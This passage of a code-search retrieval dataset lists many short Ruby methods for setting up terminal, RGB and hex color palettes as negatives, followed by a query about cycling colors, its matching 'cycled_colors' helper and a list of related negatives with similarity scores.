"def initialize_colors\n Ncurses.start_color\n [[Ncurses::COLOR_RED, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_GREEN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_YELLOW, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_BLUE, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_MAGENTA, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_CYAN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_WHITE, Ncurses::COLOR_BLACK]\n ].each.with_index(1) do |pair, i|\n # Initialize color.\n Ncurses.init_pair(i, pair[0], Ncurses::COLOR_BLACK)\n # Initialize reversed color.\n Ncurses.init_pair(i + 8, pair[1], pair[0])\n end\n Ncurses.init_pair(8, Ncurses::COLOR_BLACK, Ncurses::COLOR_WHITE)\n end",
"def set_colors\n if color_output\n @c_app_info = @color_app_info\n @c_app_exe = @color_app_exe\n @c_command = @color_command\n @c_description = @color_description\n @c_parameter = @color_parameter\n @c_usage = @color_usage\n \n @c_error_word = @color_error_word\n @c_error_name = @color_error_name\n @c_error_description = @color_error_description\n \n @c_bold = @color_bold\n @c_reset = @color_reset\n else\n @c_app_info, @c_app_exe, @c_command, @c_description,\n @c_parameter, @c_usage, @c_bold, @c_reset, @c_error_word,\n @c_error_name, @c_error_description = [\"\"]*12\n end\n end",
"def set_colors\n if @color_output \n @c_app_info = @color_app_info\n @c_app_exe = @color_app_exe\n @c_command = @color_command\n @c_description = @color_description\n @c_parameter = @color_parameter\n @c_usage = @color_usage\n \n @c_error_word = @color_error_word\n @c_error_name = @color_error_name\n @c_error_description = @color_error_description\n \n @c_bold = @color_bold\n @c_reset = @color_reset\n else\n @c_app_info, @c_app_exe, @c_command, \n @c_description, @c_parameter, @c_usage, \n @c_bold, @c_reset, @c_error_word, \n @c_error_name, @c_error_description = [\"\"]*11\n end\n end",
"def colors\n colors = []\n @lines.each do |line|\n color = line.scan(/\\d{1,3},\\d{1,3},\\d{1,3}/).first\n next if color.blank?\n color = color.split(',')\n colors << rgb(color[0].to_i, color[1].to_i, color[2].to_i)\n end\n colors\n end",
"def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end",
"def init_colors\n $desc_color = \"#{GREEN}\" # color of description portion\n # color the title based on priority\n $p5color = \"#{BLUE}#{BOLD}\" \n $p4color = \"#{MAGENTA}\" \n $p3color = \"#{CYAN}#{BOLD}\" \n $p2color = \"#{BOLD}\"\n $p1color = \"#{YELLOW}#{ON_RED}\"\n #\n # color for only the type column\n $bugcolor = \"#{BLACK}#{ON_RED}\"\n $enhcolor = \"#{GREEN}\"\n $feacolor = \"#{CYAN}\"\n\n # color for row of started event\n $startedcolor = \"#{STANDOUT}\"\n\n cols = %x[tput colors] rescue 8\n cols = cols.to_i\n if cols >= 256\n $desc_color = \"\\x1b[38;5;236m\" # 256 colors, grey\n $p5color = \"\\x1b[38;5;57m\" # some kinda blue\n $p4color = \"\\x1b[38;5;239m\" # grey. 256 colors\n $p3color = \"\\x1b[38;5;244m\" # grey, 256 colors\n end\n end",
"def colors\n keys = []\n COLORS.each_key do |key|\n keys << key\n end\n keys\n end",
"def get_col_colors\n col_colors = Hash.new \n col_colors[:throwing] = '#ccffff'\n col_colors[:hitting] = '#ffcccc'\n col_colors[:running] = '#ccccff'\n col_colors[:fielding] = '#ccffcc'\n col_colors[:none] = '#eeeeee'\n col_colors[:fundamentals] = '#C1C1C0'\n col_colors[:experience] = '#969696'\n col_colors\n end",
"def text_colors\n @colors = {\n red: 31,\n yellow: 33,\n green: 32\n }\n end",
"def colors\n keys = []\n COLORS.each_key do | key |\n keys << key\n end\n keys\n end",
"def colorsPrimary\n @color_rgb_strings_primary = []\n @color_rgb.each do |rgb|\n r = rgb[\"red\"]\n g = rgb[\"green\"]\n b = rgb[\"blue\"]\n @color_rgb_strings_primary << \"rgb(#{r},#{g},#{b})\"\n end\n end",
"def generate_color\n colors= [\n \"#FF3AAE\",\n \"#B9D61A\",\n \"#952DE1\",\n \"#A4D789\",\n \"#51A3A3\",\n \"#D96C06\",\n \"#039be5\"\n ];\n\n @p_colors=[]\n cnt=Flavor.all.length\n colors.cycle(cnt) do |color|\n @p_colors.push(color)\n @cnt=1\n end\n end",
"def create_color_hash\n\t\t\t\tcolors = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white, :default]\n\t\t\t\ttype = Config[:color]\n\t\t\t\tcolor_hash = Hash.new\n\t\t\t\tcolors.each do |c|\n\t\t\t\t\tcase type\n\t\t\t\t\twhen \"light\"\n\t\t\t\t\t\tcolor_hash[c] = c\n\t\t\t\t\twhen \"dark\"\n\t\t\t\t\t\tcolor_hash[c] = (\"light_\" + c.to_s).to_sym\n\t\t\t\t\telse\n\t\t\t\t\t\tcolor_hash[c] = :default\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tcolor_hash\n\t\t\tend",
"def colors_for(i, j)\n mode = :default\n if [i, j] == @cursor\n bg = @board.piece_in_hand.is_a?(NullPiece) ? :yellow : :light_blue\n # mode = :blink\n # elsif @board.piece_in_hand.filter_moves.include?([i,j])\n # bg = :white\n elsif (i + j).odd?\n bg = :white\n bg = :green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n elsif (i + j).even?\n bg = :light_white\n bg = :light_green if highlight && @board.piece_in_hand.filter_moves.include?([i,j])\n end\n\n { background: bg, color: :black, mode: mode } #@board[[i, j]].color\n end",
"def colors\n @colors ||= Fotolia::Colors.new(self)\n end",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def colorNames\n colors = [\"red\", \"orange\", \"yellow\", \"green\", \"mint\", \"navy\", \"light blue\", \"lavender\", \"plum\", \"pink\"]; \n return colors;\n end",
"def color_channels\n color == 2 ? 3 : 4\n end",
"def named_colors\n @named_colors ||= YAML.load_file(File.expand_path('../data/colors.yml', __FILE__))\n end",
"def branch_color(length)\n COLORS.fetch(length) { DEFAULT_COLOR }\n end",
"def colors\n color1 = UIColor.colorWithWhite(1.0, alpha: 0.2).CGColor\n color2 = UIColor.colorWithWhite(1.0, alpha: 0.1).CGColor\n color3 = UIColor.clearColor().CGColor\n color4 = UIColor.colorWithWhite(0.0, alpha: 0.1).CGColor\n \n [color1, color2, color3, color4]\n end",
"def generate_color_scheme\n if values_bits[Constants::V_Use_of_colors]<=2.5 #No colors \n if values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness > Constants::Min_lightness#image as bg\n scheme = 'dark'\n elsif values_bits[Constants::V_Type_of_BG]<4.5 and @image_colors[0].get_lightness < Constants::Min_lightness\n scheme = 'light'\n elsif values_bits[Constants::V_Darkness]<=4.5#Light\n scheme = 'dark'\n elsif values_bits[Constants::V_Darkness]>=4.5#Dark\n scheme = 'light'\n end\n \n if scheme == 'dark'\n @colors[0]=Colour.new(255,255,255)\n @colors[1]=Colour.new\n @colors[2]=Colour.new\n @colors[3]=Colour.new\n @colors[4]=Colour.new(40,40,40)\n @colors[5]=Colour.new(55,55,55)\n @colors[6]=Colour.new(70,70,70)\n @colors[7]=Colour.new\n elsif scheme == 'light'\n @colors[0]=Colour.new\n @colors[1]=Colour.new(255,255,255)\n @colors[2]=Colour.new(255,255,255)\n @colors[3]=Colour.new(255,255,255)\n @colors[4]=Colour.new(240,240,240)\n @colors[5]=Colour.new(235,235,235)\n @colors[6]=Colour.new(230,230,230)\n @colors[7]=Colour.new(255,255,255)\n end\n \n else #Colors\n #Main color (colors[1] - colors[3])\n if values_bits[Constants::V_Main_color]<=2 #Complementary main pic\n @colors[1] = @image_colors[1].get_complementary\n elsif values_bits[Constants::V_Main_color]>2 and values_bits[Constants::V_Main_color]<=5 #Contrast main pic\n @colors[1] = @image_colors[1].get_contrasted\n elsif values_bits[Constants::V_Main_color]>5 and values_bits[Constants::V_Main_color]<=8 #main_pic\n @colors[1] = @image_colors[1]\n else #random\n @colors[1] = Colour.new.get_random_color()\n end\n @colors[2] = colors[1].get_lighter\n @colors[3] = colors[1].get_darker\n \n #Accent colors (colors[4] - colors[6])\n if values_bits[Constants::V_Accent_colors]<=2 #secondary\n accent_colors = @image_colors[2].get_analogous\n @colors[4]=@image_colors[2]\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>2 and values_bits[Constants::V_Accent_colors]<=4.5 #triadic\n accent_colors = colors[1].get_triadic\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n elsif values_bits[Constants::V_Accent_colors]>4.5 and values_bits[Constants::V_Accent_colors]<=8 #analogous\n accent_colors = colors[1].get_analogous\n 3.times do |n|\n @colors[n+4] = accent_colors[n]\n end\n else #complementary\n @colors[4] = colors[1].get_complementary\n accent_colors = colors[4].get_analogous\n 2.times do |n|\n @colors[n+5] = accent_colors[n]\n end\n end\n \n #Background color (colors[0])\n if values_bits[Constants::V_BG_color]<7 #Plain background\n if values_bits[Constants::V_Darkness]>4.5 #Dark design \n @colors[0]=colors[1].get_dark\n else #Light design\n @colors[0]=colors[1].get_pale\n end\n else\n @colors[0]=Colour.new\n end\n \n #Text color (colors[7])\n if values_bits[Constants::V_Type_of_BG]>=4.5 #Contrast with plain background\n if values_bits[Constants::V_Darkness]<4.5 #Light bg\n @colors[7]=Colour.new\n else #Dark bg\n @colors[7]=Colour.new(255,255,255)\n end\n else #Contrast with picture as background\n if @image_colors[0].get_lightness > Constants::Min_lightness\n @colors[7]=Colour.new\n else\n @colors[7]=Colour.new(255,255,255)\n end\n end\n end\n \n @background = @colors[0]\n end",
"def color_codes\n {\n :black => 0, :light_black => 60,\n :red => 1, :light_red => 61,\n :green => 2, :light_green => 62,\n :yellow => 3, :light_yellow => 63,\n :blue => 4, :light_blue => 64,\n :magenta => 5, :light_magenta => 65,\n :cyan => 6, :light_cyan => 66,\n :white => 7, :light_white => 67,\n :default => 9\n }\n end",
"def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end",
"def default_colour\n\t\t\tOmniboard::Colour.new(0).standard\n\t\tend",
"def content_colors fg, bg\n @color = fg\n @bgcolor = bg\n @color_pair = get_color($datacolor, fg, bg)\n end",
"def display\n board.flatten.map { |stone| stone&.color }\n end",
"def set_colour(r,g,b)\n\t\t@colour_r = LoopedArray.new [*r].map {|i| i % 256}\n\t\t@colour_g = LoopedArray.new [*g].map {|i| i % 256}\n\t\t@colour_b = LoopedArray.new [*b].map {|i| i % 256}\n\tend",
"def std_player_colours\n\t\t[Gosu::Color::RED,\n\t\tGosu::Color::YELLOW,\n\t\tGosu::Color::GREEN,\n\t\tGosu::Color::FUCHSIA]\n\tend",
"def rgb\n [red, green, blue].freeze\n end",
"def rgb\n [red, green, blue].freeze\n end",
"def set_color\n self.color = [\"#7AD8E5\", \"#63b4d1\", \"6da7d3\", \"#7699d4\", \"#816ec4\", \"#8658bc\", \"#602278\", \"#34023C\"].sample\n end",
"def scan_for_colors; end",
"def colorHex\n hex = [\"#EC514A\", \"#F8BD28\", \"#FFEB65\", \"#8BC04F\", \"#5BC2A8\", \"#2458B7\", \"#97EDEC\", \"#8E7BB9\", \"#B23F73\", \"#E889B9\"];\n return hex;\n end",
"def color_modes\n return @color_modes\n end",
"def colorize(* colors)\n buff = []\n colors.each{|color| buff << color_code(color)}\n buff << self << color_code(:off)\n buff.join\n end",
"def color; end",
"def color; end",
"def color; end",
"def rgb\n if Configuration.colour_mode == 16777216\n sprintf(\"\\e[38;2;%s;%s;%sm\", *css_to_rgb)\n\n else\n numbered\n\n end\n end",
"def set_color_palette # :nodoc:\n @palette = [\n [0x00, 0x00, 0x00, 0x00], # 8\n [0xff, 0xff, 0xff, 0x00], # 9\n [0xff, 0x00, 0x00, 0x00], # 10\n [0x00, 0xff, 0x00, 0x00], # 11\n [0x00, 0x00, 0xff, 0x00], # 12\n [0xff, 0xff, 0x00, 0x00], # 13\n [0xff, 0x00, 0xff, 0x00], # 14\n [0x00, 0xff, 0xff, 0x00], # 15\n [0x80, 0x00, 0x00, 0x00], # 16\n [0x00, 0x80, 0x00, 0x00], # 17\n [0x00, 0x00, 0x80, 0x00], # 18\n [0x80, 0x80, 0x00, 0x00], # 19\n [0x80, 0x00, 0x80, 0x00], # 20\n [0x00, 0x80, 0x80, 0x00], # 21\n [0xc0, 0xc0, 0xc0, 0x00], # 22\n [0x80, 0x80, 0x80, 0x00], # 23\n [0x99, 0x99, 0xff, 0x00], # 24\n [0x99, 0x33, 0x66, 0x00], # 25\n [0xff, 0xff, 0xcc, 0x00], # 26\n [0xcc, 0xff, 0xff, 0x00], # 27\n [0x66, 0x00, 0x66, 0x00], # 28\n [0xff, 0x80, 0x80, 0x00], # 29\n [0x00, 0x66, 0xcc, 0x00], # 30\n [0xcc, 0xcc, 0xff, 0x00], # 31\n [0x00, 0x00, 0x80, 0x00], # 32\n [0xff, 0x00, 0xff, 0x00], # 33\n [0xff, 0xff, 0x00, 0x00], # 34\n [0x00, 0xff, 0xff, 0x00], # 35\n [0x80, 0x00, 0x80, 0x00], # 36\n [0x80, 0x00, 0x00, 0x00], # 37\n [0x00, 0x80, 0x80, 0x00], # 38\n [0x00, 0x00, 0xff, 0x00], # 39\n [0x00, 0xcc, 0xff, 0x00], # 40\n [0xcc, 0xff, 0xff, 0x00], # 41\n [0xcc, 0xff, 0xcc, 0x00], # 42\n [0xff, 0xff, 0x99, 0x00], # 43\n [0x99, 0xcc, 0xff, 0x00], # 44\n [0xff, 0x99, 0xcc, 0x00], # 45\n [0xcc, 0x99, 0xff, 0x00], # 46\n [0xff, 0xcc, 0x99, 0x00], # 47\n [0x33, 0x66, 0xff, 0x00], # 48\n [0x33, 0xcc, 0xcc, 0x00], # 49\n [0x99, 0xcc, 0x00, 0x00], # 50\n [0xff, 0xcc, 0x00, 0x00], # 51\n [0xff, 0x99, 0x00, 0x00], # 52\n [0xff, 0x66, 0x00, 0x00], # 53\n [0x66, 0x66, 0x99, 0x00], # 54\n [0x96, 0x96, 0x96, 0x00], # 55\n [0x00, 0x33, 0x66, 0x00], # 56\n [0x33, 0x99, 0x66, 0x00], # 57\n [0x00, 0x33, 0x00, 0x00], # 58\n [0x33, 0x33, 0x00, 0x00], # 59\n [0x99, 0x33, 0x00, 0x00], # 60\n [0x99, 0x33, 0x66, 0x00], # 61\n [0x33, 0x33, 0x99, 0x00], # 62\n [0x33, 0x33, 0x33, 0x00] # 63\n ]\n end",
"def rgb_color\n Array.new(3) { single_rgb_color }\n end",
"def rgb_color; end",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def media_colors=(value)\n @media_colors = value\n end",
"def bright_color_methods\n color_methods.collect do |color|\n \"bright_#{color}\".to_sym\n end\n end",
"def display_colors\n\t\tprint \"\\nColors: \"\n\t\tMastermind::COLORS.each do |color, _color_code|\n\t\t\tunless color == :blank || color == :black || color == :white\n\t\t\t\tcolor_string = color.to_s.capitalize\n\t\t\t\tprint Mastermind::color(\" #{color_string} \", color)\n\t\t\tend\n\t\tend\n\t\tputs \"\\nChoose a color with it's full name or it's first character\"\n\tend",
"def draw_colors(*colors)\n colors.map { |c| draw_color(c) }\n end",
"def color(*values); end",
"def color(*values); end",
"def print_colors\n 1.upto(@board.number_of_pegs) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\n end",
"def load_colors!(name)\n color_theme_from_hash(name).each do |object, color|\n Wasko.send(\"set_#{object}\", color)\n end\n end",
"def initialize()\n @board = {}\n colors = [Square::BLACK, Square::WHITE]\n \n (1..8).each do |row|\n (1..8).each do |col|\n sq = Square.new(colors[0])\n\n # Place starting pieces on board\n if (1..3).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::BLACK)\n elsif (6..8).include?(row) && sq.color == Square::BLACK\n sq.checker_piece = Piece.new(Piece::RED)\n end\n \n @board[[row,col]] = sq\n \n colors << colors.delete_at(0) unless col == 8\n end\n end\n end",
"def colors_redish\n {\n :fillColor => '#ff4949',\n :strokeColor => '#365470',\n :pointColor => '#f7f7f1',\n :pointStrokeColor => '#fff'\n }\n end",
"def cycled_colors\n @cycled_colors ||= colors.cycle\n end",
"def initialize(color, board)\n @my_color = color\n @opponent_color = \n @my_color == Reversi::Board::DISK[:white] ? \n Reversi::Board::DISK[:black] : Reversi::Board::DISK[:white]\n @board = board\n end",
"def color\n @color || $def_fg_color\n end",
"def palette\n [\n \"Background: #{background_color}\",\n \"Foreground: #{foreground_color}\",\n \"Bold Text : #{bold_color}\",\n \"Cursor : #{cursor_color}\",\n \"Font : #{font}\"\n ].join(\"\\n\")\n end",
"def crisis_color\n return Color.new(255, 255, 64)\n end",
"def color_methods\n colors.each do |key|\n next if key == :default\n\n define_method key do\n colorize(:color => key)\n end\n\n define_method \"on_#{key}\" do\n colorize(:background => key)\n end\n end\n end",
"def media_colors\n return @media_colors\n end",
"def defaults\n {\n background: Vedeu::Colours::Background.coerce(:default),\n base_path: base_path,\n colour_mode: detect_colour_mode,\n compression: true,\n debug: false,\n drb: false,\n drb_host: nil,\n drb_port: nil,\n drb_height: 25,\n drb_width: 80,\n foreground: Vedeu::Colours::Foreground.coerce(:default),\n height: nil,\n interactive: true,\n log: nil,\n log_only: [],\n mouse: true,\n once: false,\n profile: false,\n renderers: [Vedeu::Renderers::Terminal.new],\n root: nil,\n stdin: nil,\n stdout: nil,\n stderr: nil,\n terminal_mode: :raw,\n width: nil,\n }\n end",
"def initialize(color={:cyan=> 1 ,:magenta => 0, :yellow => 0, :black => 0})\n @color=color\n end",
"def add_color\n if !color\n self.color = %w(\n #000000 #0000FF #00FF00 #FF0000 #FFFF00 #9900CC\n #CC0066 #00FFFF #FF00FF #C0C0C0 #00008B #FFD700\n #FFA500 #FF1493 #FF00FF #F0FFFF #EE82EE #D2691E\n #C0C0C0 #A52A2A #9ACD32 #9400D3 #8B008B #8B0000\n #87CEEB #808080 #800080 #008B8B #006400\n ).sample\n end\n end",
"def correct_color?(array)\n @correct_colors = array & $code_strings\n end",
"def color_methods; end",
"def color_modes=(value)\n @color_modes = value\n end",
"def set_colors\n store.change_colors(@colors)\n end",
"def color\n @data[:color]\n end",
"def add_colors\n\tNcurses.start_color\n\tcolors = %w[RED BLUE GREEN MAGENTA CYAN YELLOW]\n\tcolors.each { |color|\n\t\teval \"Ncurses.init_color( Ncurses::COLOR_#{color}, #{rand(0..1000)}, #{rand(0..1000)}, #{rand(0..1000)} )\"\n\t}\n\t#Ncurses.init_pair( PAIR_NUMBER, BORDER_LINE_COLOR, BORDER_COLOR)\n\trandom_color = eval \"Ncurses::COLOR_#{colors.sample}\"\n\tNcurses.init_pair(2, random_color, Ncurses::COLOR_RED)\n\tNcurses.init_pair(3, random_color, Ncurses::COLOR_BLUE)\n\tNcurses.init_pair(4, random_color, Ncurses::COLOR_GREEN)\n\tNcurses.init_pair(5, random_color, Ncurses::COLOR_MAGENTA)\n\tNcurses.init_pair(6, random_color, Ncurses::COLOR_CYAN)\n\tNcurses.init_pair(7, random_color, Ncurses::COLOR_YELLOW)\nend",
"def palette_rgb_color\n [self.palette_red, self.palette_green, self.palette_blue]\n end",
"def parse_colors\n working = dup\n color_array = []\n\n scan(/(?<!\\\\)(%((?:[fb]g?)?#[a-fA-F0-9]{6}|[a-z]+))/).each do |color|\n valid_color = color[1].validate_color\n next unless valid_color\n\n idx = working.match(/(?<!\\\\)%#{valid_color}/).begin(0)\n color = Color.attributes.include?(valid_color.to_sym) ? Color.send(valid_color) : Color.rgb(valid_color)\n color_array.push({ name: valid_color, color: color, index: idx })\n working.sub!(/(?<!\\\\)%#{valid_color}/, '')\n end\n\n { string: working, colors: color_array }\n end",
"def named_colors\n @named_colors ||= PdfK::NAMED_COLORS.dup\n end",
"def colortable\n names = %w(black red green yellow blue pink cyan white default)\n fgcodes = (30..39).to_a - [38]\n\n s = ''\n reg = \"\\e[%d;%dm%s\\e[0m\"\n bold = \"\\e[1;%d;%dm%s\\e[0m\"\n puts ' color table with these background codes:'\n puts ' 40 41 42 43 44 45 46 47 49'\n names.zip(fgcodes).each {|name,fg|\n s = \"#{fg}\"\n puts \"%7s \"%name + \"#{reg} #{bold} \"*9 % [fg,40,s,fg,40,s, fg,41,s,fg,41,s, fg,42,s,fg,42,s, fg,43,s,fg,43,s,\n fg,44,s,fg,44,s, fg,45,s,fg,45,s, fg,46,s,fg,46,s, fg,47,s,fg,47,s, fg,49,s,fg,49,s ]\n }\n end",
"def aqi_range_colors\n { 0..50 => :green,\n 51..100 => :yellow,\n 101..150 => :orange,\n 151..200 => :red,\n 201..300 => :purple,\n 301..999 => :pink }\n end",
"def rgb\n generate.collect do |color|\n color.collect(&:to_i)\n end\n end",
"def product_colors(product)\n return product.color.split(',').map(&:to_s)\n end",
"def setup_pieces\n setup_color(:white)\n setup_color(:black)\n end",
"def initialize (*colors)\n @colors = colors.flatten\n @colors = [nil] if @colors.empty?\n @count = -1\n end",
"def color_rgb\n return nil if self.color_red.blank? || self.color_green.blank? || self.color_blue.blank?\n [self.color_red, self.color_green, self.color_blue]\n end",
"def print_colors\n 1.upto(COLORS.size) { |i| print \"#{i} = \" + \" \".color(COLORS[i]) + \" \" }\n print \": \"\nend",
"def colour(values)\n unless values.key?(:foreground) || values.key?(:background)\n fail InvalidSyntax, '#colour expects a Hash containing ' \\\n ':foreground or :background or both.'\n end\n\n attributes[:colour] = values\n end",
"def color_scheme= (number)\n @colors = COLOR_SCHEMES[number % COLOR_SCHEMES.size]\n upload_state\n end",
"def best_color_settings\n if black_and_white?\n [ChunkyPNG::COLOR_GRAYSCALE, 1]\n elsif grayscale?\n if opaque?\n [ChunkyPNG::COLOR_GRAYSCALE, 8]\n else\n [ChunkyPNG::COLOR_GRAYSCALE_ALPHA, 8]\n end\n elsif indexable?\n [ChunkyPNG::COLOR_INDEXED, determine_bit_depth]\n elsif opaque?\n [ChunkyPNG::COLOR_TRUECOLOR, 8]\n else\n [ChunkyPNG::COLOR_TRUECOLOR_ALPHA, 8]\n end\n end",
"def initialize\n\t\t@board = Board.new\n\t\t@turn = rand(2) # randomizes which color starts first even BLACK odd RED\n\tend",
"def get_red_scala n\n colors = []\n r = 255; g = 0; b = 0\n max = 255\n\n # se inicia la escala con el r mas fuerte y se añade g y b por igual cantidad hasta llegar al blanco\n for i in 1..n\n g = b = (i*(max/n)).round\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de blanco a rojo\n colors.reverse\n end",
"def color\n\t\treturn @color\n\t\t\n\tend"
] | [
"0.7186013",
"0.7010046",
"0.6751224",
"0.65643",
"0.655004",
"0.65293586",
"0.6525539",
"0.64489794",
"0.64155155",
"0.64125454",
"0.6408897",
"0.6383208",
"0.6355099",
"0.6337689",
"0.62762755",
"0.6272677",
"0.62364525",
"0.61797535",
"0.61742854",
"0.61660475",
"0.6145383",
"0.6143147",
"0.6098689",
"0.6086191",
"0.60825145",
"0.60526043",
"0.6050809",
"0.60483164",
"0.6038545",
"0.60230917",
"0.5974374",
"0.59574866",
"0.59404474",
"0.59240586",
"0.59226036",
"0.5921187",
"0.590889",
"0.5896299",
"0.5895282",
"0.58931226",
"0.5890979",
"0.58658725",
"0.5865578",
"0.5865578",
"0.58431077",
"0.5837318",
"0.5785505",
"0.57849294",
"0.57809603",
"0.5778019",
"0.5778019",
"0.5778019",
"0.5774525",
"0.5773451",
"0.5755551",
"0.574287",
"0.57063395",
"0.5698627",
"0.56847155",
"0.56776506",
"0.56750417",
"0.566531",
"0.566531",
"0.566297",
"0.5659757",
"0.56454647",
"0.56387174",
"0.56246406",
"0.56231815",
"0.5605129",
"0.5603681",
"0.55948496",
"0.5594021",
"0.55643994",
"0.5560222",
"0.55601704",
"0.5554851",
"0.5554131",
"0.5553301",
"0.554925",
"0.554777",
"0.554065",
"0.55380124",
"0.55366623",
"0.5532719",
"0.5520112",
"0.5513534",
"0.551117",
"0.55041224",
"0.5502645",
"0.550083",
"0.549048",
"0.5485893",
"0.54832506",
"0.5480721",
"0.5467596",
"0.54550385",
"0.5451225",
"0.544758",
"0.5445604"
] | 0.6244303 | 16 |
This helper will give you a way to cycle the colors | def cycled_colors
@cycled_colors ||= colors.cycle
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def cycle colors=[], delay=0.5\n unless colors.all? {|c| COLORS.include? c}\n raise \"Invalid color\"\n end\n\n reset\n\n @thread = Thread.new do\n i = 0\n loop do\n set_color_raw colors[i]\n i = (i+1) % colors.length\n sleep delay\n end\n end\n end",
"def recycle_colors(color_index)\n #\"or\" used for control flow\n colors[i+1] or 0\n end",
"def recycle_colors(color_index)\n #\"or\" used for control flow\n colors[i+1] or 0\n end",
"def cycle_gradient(options)\n raise ArgumentError unless options.include?(:start_color) && options.include?(:end_color)\n count = options.delete(:count) || 4\n steps = count - 1\n @_current_step = 0 unless defined? @_current_step\n \n # First line splits the hex string into channels for each color and zips the two together,\n # resulting in an array of ranges for each channel, eg [[0, 255], [0,255], [0,255]]. The\n # second line then does the interpolation on each channel, formats the string into the\n # proper hex, and joins it all together.\n\n current_color = options.delete(:start_color).scan(/../).collect{|b| b.hex}.zip(options.delete(:end_color).scan(/../).collect{|b| b.hex}).\n collect { |r| \"%02x\"%(r.first + ((r.last - r.first) / steps) * @_current_step) }.join\n @_current_step = (@_current_step + 1) % count\n \n current_color\n end",
"def scan_for_colors; end",
"def generate_color\n colors= [\n \"#FF3AAE\",\n \"#B9D61A\",\n \"#952DE1\",\n \"#A4D789\",\n \"#51A3A3\",\n \"#D96C06\",\n \"#039be5\"\n ];\n\n @p_colors=[]\n cnt=Flavor.all.length\n colors.cycle(cnt) do |color|\n @p_colors.push(color)\n @cnt=1\n end\n end",
"def stripe_cycle\n cycle('odd', 'even')\n end",
"def colors; end",
"def event_bg_color\n @i ||= -1\n COLORS[(@i += 1) % COLORS.size]\n end",
"def colors\n return\n end",
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def rainbow\n (0..256).each{ |color| \n print Paint[' ',48,5,color] # print empty bg color field\n }\n puts\n end",
"def colorize!; @colors = true; end",
"def initialize_colors\n Ncurses.start_color\n [[Ncurses::COLOR_RED, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_GREEN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_YELLOW, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_BLUE, Ncurses::COLOR_WHITE],\n [Ncurses::COLOR_MAGENTA, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_CYAN, Ncurses::COLOR_BLACK],\n [Ncurses::COLOR_WHITE, Ncurses::COLOR_BLACK]\n ].each.with_index(1) do |pair, i|\n # Initialize color.\n Ncurses.init_pair(i, pair[0], Ncurses::COLOR_BLACK)\n # Initialize reversed color.\n Ncurses.init_pair(i + 8, pair[1], pair[0])\n end\n Ncurses.init_pair(8, Ncurses::COLOR_BLACK, Ncurses::COLOR_WHITE)\n end",
"def blanket_patterns(colors, lines)\n lines.times do |i|\n first = colors[0]\n rest = colors[1..-1]\n colors = rest + first\n puts colors\n end\nend",
"def rainbow; end",
"def start!\n @color = @@colors[:green]\n end",
"def get_green_to_red_scala n\n colors = []\n r = 0; g = 150; b = 0\n max = 255\n\n #se empieza en un g oscuro en 150 y se aclarece añadiendo g hasta 255\n #ni = numero iteraciones\n ni = (1*n/3)\n for i in 1..(1*n/3.to_f).floor\n g = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g esta en 255 se añade r desde 150 hasta 255 hasta llegar a amarillo\n #ni = numero iteraciones\n g = 255\n ni = 1 + (2*n/3.to_f).floor - (1*n/3.to_f).ceil\n for j in (1*n/3.to_f).ceil..(2*n/3.to_f).floor\n i = j - (1*n/3.to_f).ceil + 1\n r = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g y r estan en 255 se quita g hasta 0 hasta llegar a rojo\n #ni = numero iteraciones\n g = r = 255\n ni = 1 + n - (2*n/3.to_f).ceil\n for i in (2*n/3.to_f).ceil..n\n g = ((n - i)*(max/ni.to_f)).floor\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de verde a rojo\n colors\n end",
"def setcolorrep(*)\n super\n end",
"def one_color_down_both_lanes(lights, colors, delay)\n prev_color_1 = 0\n prev_color_2 = 0\n for i in 0..2\n if (i-1) >= 0 then\n lights_group_prev = Huey::Group.new(lights[i-1], lights[i+2])\n if lights[i-1].on then\n lights[i-1].update(hue: prev_color_1)\n end\n if lights[i+2] then\n lights[i+2].update(hue: prev_color_2)\n end\n end\n\n lights_group_now = Huey::Group.new(lights[i], lights[i+3])\n if lights[1].on then\n prev_color_1 = lights[i].hue\n end\n if lights[i+3] then\n prev_color_2 = lights[i+3].hue\n end\n lights_group_now.update(hue: colors.sample, sat: 255)\n sleep(delay)\n end\n if lights[2].on && lights[5].on then\n lights_group = Huey::Group.new(lights[2], lights[5])\n lights[2].update(hue: prev_color_1)\n lights[5].update(hue: prev_color_2)\n sleep(delay)\n end\n end",
"def iterate_colors(colors)\n res = Array.new\n\n colors.each do |color|\n res.push(color)\n end\n return res\nend",
